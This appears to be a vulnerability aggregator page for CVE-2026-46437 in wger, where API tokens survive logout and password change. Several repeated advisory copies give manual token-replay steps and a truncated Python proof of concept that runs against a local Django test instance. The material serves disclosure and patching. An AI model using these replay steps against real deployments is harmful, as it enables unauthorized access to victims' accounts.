CVE-2026-46437
wger: API credentials remain valid after logout/password change
CVE-2026-46437 is a medium vulnerability (CVSS 4.8) in Wger-project Wger, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. No source names a fixed version.
wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.8
wger: API credentials remain valid after logout/password change
wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.
- Record
CVE-2026-46437- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-287, CWE-613
- Updated
- 2026-11-02
EUVDEUVD-2026-94334
4.8
wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.
- Record
EUVD-2026-94334- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v3x9-6gg8-c2c9
4.8
wger: API credentials remain valid after logout/password change
Summary
A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:
- Logout (
/user/logout) only clears the Django session cookie viadjango_logout()and does not revoke API tokens. - Password change updates the password hash, but does not revoke:
- existing DRF tokens stored in
authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
- existing DRF tokens stored in
Vulnerable Files
wger/wger/core/views/user.py(logout implementation)wger/settings/settings_global.py(DRF auth configuration, SimpleJWT defaults)wger/settings/main.py(commonly used production defaults for JWT lifetimes)wger/wger/utils/api_token.py(authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account.
- Obtain a JWT refresh token:
POST /api/v2/tokenwith username/password.
- Obtain a DRF token (API key):
- use
/user/api-key(or create token via admin/DB in a test environment).
- use
- Change password:
POST /<lang>/user/password/changewithold_password,new_password1,new_password2.
- Prove token replay:
- Call a private endpoint using the old DRF token (should still return
200). - Call
POST /api/v2/token/refreshusing the old refresh token (should still return200and a new access token).
- Call a private endpoint using the old DRF token (should still return
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
import json
import os
def main() -> None:
"""
PoC for IDENTITY-VULN-01:
Proves that password change does not revoke:
- DRF authtoken (Authorization: Token <key>)
- JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient.
It does not require running the dev server.
"""
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
# Ensure we use the local sqlite DB path used during setup
os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")
import django
django.setup()
from django.conf import settings
from django.contrib.auth.models import User
from django.test import Client
from rest_framework.authtoken.models import Token
from rest_framework.test import APIClient
username = "pwchange_user_poc"
old_pw = "OldPassw0rd!"
new_pw = "NewPassw0rd!"
# Create a clean user + DRF token
User.objects.filter(username=username).delete()
user = User.objects.create_user(username=username, password=old_pw)
Token.objects.filter(user=user).delete()
drf_token = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline)
r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
refresh = getattr(r_obtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint
web = Client()
web.force_login(user)
r_pw = web.post(
"/en/user/password/change",
data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
follow=False,
)
# Old password should fail now (sanity check)
r_obtain_old = api.post(
"/api/v2/token",
{"username": username, "password": old_pw},
format="json",
)
# New password should work
r_obtain_new = api.post(
…
- Record
GHSA-v3x9-6gg8-c2c9- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-287, CWE-613
- Updated
- 2026-11-02
NVD
4.8
wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.
- Record
CVE-2026-46437- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-287, CWE-613
- Updated
- 2026-11-02
OSV
4.8
wger: API credentials remain valid after logout/password change
wger is a free, open-source workout and fitness manager. Versions prior to 2.6 have a vulnerability in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). Version 2.6 contains a patch.
- Record
CVE-2026-46437- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-287, CWE-613
- Updated
- 2026-11-02
OSVGHSA-v3x9-6gg8-c2c9
4.8
wger: API credentials remain valid after logout/password change
Summary
A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:
- Logout (
/user/logout) only clears the Django session cookie viadjango_logout()and does not revoke API tokens. - Password change updates the password hash, but does not revoke:
- existing DRF tokens stored in
authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
- existing DRF tokens stored in
Vulnerable Files
wger/wger/core/views/user.py(logout implementation)wger/settings/settings_global.py(DRF auth configuration, SimpleJWT defaults)wger/settings/main.py(commonly used production defaults for JWT lifetimes)wger/wger/utils/api_token.py(authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account.
- Obtain a JWT refresh token:
POST /api/v2/tokenwith username/password.
- Obtain a DRF token (API key):
- use
/user/api-key(or create token via admin/DB in a test environment).
- use
- Change password:
POST /<lang>/user/password/changewithold_password,new_password1,new_password2.
- Prove token replay:
- Call a private endpoint using the old DRF token (should still return
200). - Call
POST /api/v2/token/refreshusing the old refresh token (should still return200and a new access token).
- Call a private endpoint using the old DRF token (should still return
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
import json
import os
def main() -> None:
"""
PoC for IDENTITY-VULN-01:
Proves that password change does not revoke:
- DRF authtoken (Authorization: Token <key>)
- JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient.
It does not require running the dev server.
"""
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
# Ensure we use the local sqlite DB path used during setup
os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")
import django
django.setup()
from django.conf import settings
from django.contrib.auth.models import User
from django.test import Client
from rest_framework.authtoken.models import Token
from rest_framework.test import APIClient
username = "pwchange_user_poc"
old_pw = "OldPassw0rd!"
new_pw = "NewPassw0rd!"
# Create a clean user + DRF token
User.objects.filter(username=username).delete()
user = User.objects.create_user(username=username, password=old_pw)
Token.objects.filter(user=user).delete()
drf_token = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline)
r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
refresh = getattr(r_obtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint
web = Client()
web.force_login(user)
r_pw = web.post(
"/en/user/password/change",
data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
follow=False,
)
# Old password should fail now (sanity check)
r_obtain_old = api.post(
"/api/v2/token",
{"username": username, "password": old_pw},
format="json",
)
# New password should work
r_obtain_new = api.post(
…
- Record
GHSA-v3x9-6gg8-c2c9- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-287, CWE-613
- Updated
- 2026-11-02
OSVPYSEC-2026-4315
4.8
wger: API credentials remain valid after logout/password change
Summary
A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:
- Logout (
/user/logout) only clears the Django session cookie viadjango_logout()and does not revoke API tokens. - Password change updates the password hash, but does not revoke:
- existing DRF tokens stored in
authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
- existing DRF tokens stored in
Vulnerable Files
wger/wger/core/views/user.py(logout implementation)wger/settings/settings_global.py(DRF auth configuration, SimpleJWT defaults)wger/settings/main.py(commonly used production defaults for JWT lifetimes)wger/wger/utils/api_token.py(authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account.
- Obtain a JWT refresh token:
POST /api/v2/tokenwith username/password.
- Obtain a DRF token (API key):
- use
/user/api-key(or create token via admin/DB in a test environment).
- use
- Change password:
POST /<lang>/user/password/changewithold_password,new_password1,new_password2.
- Prove token replay:
- Call a private endpoint using the old DRF token (should still return
200). - Call
POST /api/v2/token/refreshusing the old refresh token (should still return200and a new access token).
- Call a private endpoint using the old DRF token (should still return
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
import json
import os
def main() -> None:
"""
PoC for IDENTITY-VULN-01:
Proves that password change does not revoke:
- DRF authtoken (Authorization: Token <key>)
- JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient.
It does not require running the dev server.
"""
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
# Ensure we use the local sqlite DB path used during setup
os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")
import django
django.setup()
from django.conf import settings
from django.contrib.auth.models import User
from django.test import Client
from rest_framework.authtoken.models import Token
from rest_framework.test import APIClient
username = "pwchange_user_poc"
old_pw = "OldPassw0rd!"
new_pw = "NewPassw0rd!"
# Create a clean user + DRF token
User.objects.filter(username=username).delete()
user = User.objects.create_user(username=username, password=old_pw)
Token.objects.filter(user=user).delete()
drf_token = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline)
r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
refresh = getattr(r_obtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint
web = Client()
web.force_login(user)
r_pw = web.post(
"/en/user/password/change",
data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
follow=False,
)
# Old password should fail now (sanity check)
r_obtain_old = api.post(
"/api/v2/token",
{"username": username, "password": old_pw},
format="json",
)
# New password should work
r_obtain_new = api.post(
…
- Record
PYSEC-2026-4315- CVSS 3.1
- 4.8 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/wger-project/wger/security/advisories/GHSA-v3x9-6gg8-c2c9
github.com/wger-project/wger/releases/tag/2.6
github.com/advisories/GHSA-v3x9-6gg8-c2c9
github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46437.json
nvd.nist.gov/vuln/detail/CVE-2026-46437
github.com/wger-project/wger
pypi.org/project/wger
Left out here: the rest of 3 source descriptions. The JSON record has them.